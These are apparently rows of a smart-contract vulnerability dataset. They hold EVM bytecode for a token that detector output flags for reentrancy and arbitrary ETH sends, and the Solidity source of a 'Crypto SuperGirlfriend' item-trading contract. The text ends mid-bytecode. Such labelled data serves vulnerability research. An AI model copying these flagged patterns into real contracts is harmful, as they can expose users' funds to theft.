000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4642554e4e590000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122075ad524020600ec9fcdfe2a32e149cedd70229f56f3c3a9a693600d90549ea4764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 395 |
0x2a92f24bfad42b04cfe5c000be404c2a84ca5b71 | pragma solidity ^0.4.24;
/* Crypto SuperGirlfriend */
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract CryptoSuperGirlfriend {
using SafeMath for uint256;
address private addressOfOwner;
event Add (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Bought (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _itemId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
uint256 private priceInit = 0.01 ether;
uint256 private idStart = 10001;
uint256 private idMax = 10191;
struct OwnerInfo{
string ownerName;
string ownerWords;
string ownerImg;
string ownerNation;
}
uint256[] private listedItems;
mapping (uint256 => address) private ownerOfItem;
mapping (uint256 => uint256) private priceOfItem;
mapping (uint256 => uint256) private sellPriceOfItem;
mapping (uint256 => OwnerInfo) private ownerInfoOfItem;
mapping (uint256 => string) private nameOfItem;
mapping (uint256 => address) private approvedOfItem;
/* Modifiers */
modifier onlyOwner () {
require(addressOfOwner == msg.sender);
_;
}
/* Initilization */
constructor () public {
addressOfOwner = msg.sender;
}
/* Admin */
function transferOwnership (address _owner) onlyOwner() public {
addressOfOwner = _owner;
}
/* Read */
function owner () public view returns (address _owner) {
return addressOfOwner;
}
/* Listing */
function addItem (uint256 _itemId, string _name, uint256 _sellPrice) onlyOwner() external {
newItem(_itemId, _name, _sellPrice);
}
function newItem (uint256 _itemId, string _name, uint256 _sellPrice) internal {
require(_checkItemId(_itemId));
require(tokenExists(_itemId) == false);
ownerOfItem[_itemId] = address(0);
priceOfItem[_itemId] = 0;
sellPriceOfItem[_itemId] = _sellPrice;
nameOfItem[_itemId] = _name;
OwnerInfo memory oi = OwnerInfo("", "", "", "");
ownerInfoOfItem[_itemId] = oi;
listedItems.push(_itemId);
emit Add(_itemId, address(0), _sellPrice);
}
/* Market */
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
// Update prices
if (_price == 0 ether) {
// first stage
return priceInit;
} else if (_price < 1 ether) {
// first stage
return _price.mul(2);
} else if (_price < 10 ether) {
// second stage
return _price.mul(150).div(100);
} else {
// third stage
return _price.mul(120).div(100);
}
}
function buy (uint256 _itemId, uint256 _sellPrice, string _name, string _ownerName, string _ownerWords, string _ownerImg, string _ownerNation) payable public returns (bool _result) {
require(_checkItemId(_itemId));
require(ownerOf(_itemId) != msg.sender);
require(msg.sender != address(0));
require(_sellPrice == 0 || _sellPrice.sub(priceInit) >= 0);
require(msg.value.sub(sellPriceOf(_itemId)) >= 0);
require(msg.value.mul(2).sub(_sellPrice) >= 0);
if(_sellPrice == 0)
_sellPrice = calculateNextPrice(msg.value);
if(tokenExists(_itemId) == false)
newItem(_itemId, _name, priceInit);
address oldOwner = ownerOf(_itemId);
address newOwner = msg.sender;
if(oldOwner != address(0))
{
if(msg.value > priceOf(_itemId))
{
uint256 tradeCut;
tradeCut = msg.value.sub(priceOf(_itemId));
tradeCut = tradeCut.mul(10).div(100);
oldOwner.transfer(msg.value.sub(tradeCut));
}
else
oldOwner.transfer(msg.value);
}
priceOfItem[_itemId] = msg.value;
sellPriceOfItem[_itemId] = _sellPrice;
OwnerInfo memory oi = OwnerInfo(_ownerName, _ownerWords, _ownerImg, _ownerNation);
ownerInfoOfItem[_itemId] = oi;
_transfer(oldOwner, newOwner, _itemId);
emit Bought(_itemId, newOwner, msg.value);
emit Sold(_itemId, oldOwner, msg.value);
owner().transfer(address(this).balance);
return true;
}
function changeItemName (uint256 _itemId, string _name) onlyOwner() public returns (bool _result) {
require(_checkItemId(_itemId));
nameOfItem[_itemId] = _name;
return true;
}
function changeOwnerInfo (uint256 _itemId, uint256 _sellPrice, string _ownerName, string _ownerWords, string _ownerImg, string _ownerNation) public returns (bool _result) {
require(_checkItemId(_itemId));
require(ownerOf(_itemId) == msg.sender);
require(_sellPrice.sub(priceInit) >= 0);
require(priceOfItem[_itemId].mul(2).sub(_sellPrice) >= 0);
sellPriceOfItem[_itemId] = _sellPrice;
OwnerInfo memory oi = OwnerInfo(_ownerName, _ownerWords, _ownerImg, _ownerNation);
ownerInfoOfItem[_itemId] = oi;
return true;
}
function setIdRange (uint256 _idStart, uint256 _idMax) onlyOwner() public {
idStart = _idStart;
idMax = _idMax;
}
/* Read */
function tokenExists (uint256 _itemId) public view returns (bool _exists) {
require(_checkItemId(_itemId));
bool bExist = false;
for(uint256 i=0; i<listedItems.length; i++)
{
if(listedItems[i] == _itemId)
{
bExist = true;
break;
}
}
return bExist;
}
function priceOf (uint256 _itemId) public view returns (uint256 _price) {
require(_checkItemId(_itemId));
return priceOfItem[_itemId];
}
function sellPriceOf (uint256 _itemId) public view returns (uint256 _nextPrice) {
require(_checkItemId(_itemId));
if(sellPriceOfItem[_itemId] == 0)
return priceInit;
else
return sellPriceOfItem[_itemId];
}
function ownerInfoOf (uint256 _itemId) public view returns (uint256, string, string, string, string) {
require(_checkItemId(_itemId));
return (_itemId, ownerInfoOfItem[_itemId].ownerName, ownerInfoOfItem[_itemId].ownerWords, ownerInfoOfItem[_itemId].ownerImg, ownerInfoOfItem[_itemId].ownerNation);
}
function itemOf (uint256 _itemId) public view returns (uint256, string, address, uint256, uint256) {
require(_checkItemId(_itemId));
return (_itemId, nameOfItem[_itemId], ownerOf(_itemId), priceOf(_itemId), sellPriceOf(_itemId));
}
function itemsRange (uint256 _from, uint256 _take) public view returns (uint256[], uint256[], uint256[]) {
require(idMax.add(1) >= idStart.add(_from.add(_take)));
uint256[] memory items = new uint256[](_take);
uint256[] memory prices = new uint256[](_take);
uint256[] memory sellPrices = new uint256[](_take);
for (uint256 i = _from; i < _from.add(_take); i++) {
uint256 j = i - _from;
items[j] = idStart + i;
prices[j] = priceOf(idStart + i);
sellPrices[j] = sellPriceOf(idStart + i);
}
return (items, prices, sellPrices);
}
function tokensOf (address _owner) public view returns (uint256[], address[], uint256[], uint256[]) {
uint256 num = balanceOf(_owner);
uint256[] memory items = new uint256[](num);
address[] memory owners = new address[](num);
uint256[] memory prices = new uint256[](num);
uint256[] memory sellPrices = new uint256[](num);
uint256 k = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
items[k] = listedItems[i];
owners[k] = ownerOf(listedItems[i]);
prices[k] = priceOf(listedItems[i]);
sellPrices[k] = sellPriceOf(listedItems[i]);
k++;
}
}
return (items, owners, prices, sellPrices);
}
/* ERC721 */
function implementsERC721 () public pure returns (bool _implements) {
return true;
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
require(_owner != address(0));
uint256 counter = 0;
for (uint256 i = 0; i < listedItems.length; i++) {
if (ownerOf(listedItems[i]) == _owner) {
counter++;
}
}
return counter;
}
function ownerOf (uint256 _itemId) public view returns (address _owner) {
return ownerOfItem[_itemId];
}
function transfer(address _to, uint256 _itemId) public {
require(msg.sender == ownerOf(_itemId));
_transfer(msg.sender, _to, _itemId);
}
function transferFrom(address _from, address _to, uint256 _itemId) public {
require(getApproved(_itemId) == msg.sender);
_transfer(_from, _to, _itemId);
}
function approve(address _to, uint256 _itemId) public {
require(msg.sender != _to);
require(tokenExists(_itemId));
require(ownerOf(_itemId) == msg.sender);
if (_to == address(0)) {
if (approvedOfItem[_itemId] != address(0)) {
delete approvedOfItem[_itemId];
emit Approval(msg.sender, address(0), _itemId);
}
} else {
approvedOfItem[_itemId] = _to;
emit Approval(msg.sender, _to, _itemId);
}
}
function getApproved (uint256 _itemId) public view returns (address _approved) {
require(tokenExists(_itemId));
return approvedOfItem[_itemId];
}
function name () public pure returns (string _name) {
return "Crypto Super Girlfriend";
}
function symbol () public pure returns (string _symbol) {
return "CSGF";
}
function totalSupply () public view returns (uint256 _totalSupply) {
return listedItems.length;
}
function tokenByIndex (uint256 _index) public view returns (uint256 _itemId) {
require(_index < totalSupply());
return listedItems[_index];
}
function tokenOfOwnerByIndex (address _owner, uint256 _index) public view returns (uint256 _itemId) {
require(_index < balanceOf(_owner));
uint count = 0;
for (uint i = 0; i < listedItems.length; i++) {
uint itemId = listedItems[i];
if (ownerOf(itemId) == _owner) {
if (count == _index) { return itemId; }
count += 1;
}
}
assert(false);
}
/* Internal */
function _transfer(address _from, address _to, uint256 _itemId) internal {
require(tokenExists(_itemId));
require(ownerOf(_itemId) == _from);
require(_to != address(0));
require(_to != address(this));
ownerOfItem[_itemId] = _to;
approvedOfItem[_itemId] = 0;
emit Transfer(_from, _to, _itemId);
}
function _checkItemId(uint256 _itemId) internal view returns (bool) {
if(_itemId.sub(idStart) >= 0 && idMax.sub(_itemId) >= 0) return true;
return false;
}
} | 0x60806040526004361061015d5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041662923f9e811461016257806306fdde031461018e578063081812fc14610218578063095ea7b31461024c5780631051db341461027257806318160ddd1461028757806323b872dd146102ae5780632f745c59146102d85780634f6ccce7146102fc5780635a3f2672146103145780635b525b2c146104585780636352211e146104b657806367fdd509146104ce57806368342b33146104e957806370a08231146106b25780638da5cb5b146106d357806395d89b41146106e8578063a8f0e6e2146106fd578063a9059cbb14610715578063b00a81fb14610739578063b776fc1514610884578063b9186d7d146108ab578063c4259e2e146108c3578063e08503ec146109dd578063f0072795146109f5578063f2fde38b14610aee578063fb04870514610b0f575b600080fd5b34801561016e57600080fd5b5061017a600435610bcd565b604080519115158252519081900360200190f35b34801561019a57600080fd5b506101a3610c30565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101dd5781810151838201526020016101c5565b50505050905090810190601f16801561020a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561022457600080fd5b50610230600435610c68565b60408051600160a060020a039092168252519081900360200190f35b34801561025857600080fd5b50610270600160a060020a0360043516602435610c9d565b005b34801561027e57600080fd5b5061017a610de8565b34801561029357600080fd5b5061029c610ded565b60408051918252519081900360200190f35b3480156102ba57600080fd5b50610270600160a060020a0360043581169060243516604435610df3565b3480156102e457600080fd5b5061029c600160a060020a0360043516602435610e20565b34801561030857600080fd5b5061029c600435610eb7565b34801561032057600080fd5b50610335600160a060020a0360043516610eec565b6040518080602001806020018060200180602001858103855289818151815260200191508051906020019060200280838360005b83811015610381578181015183820152602001610369565b505050509050018581038452888181518152602001915080519060200190602002808383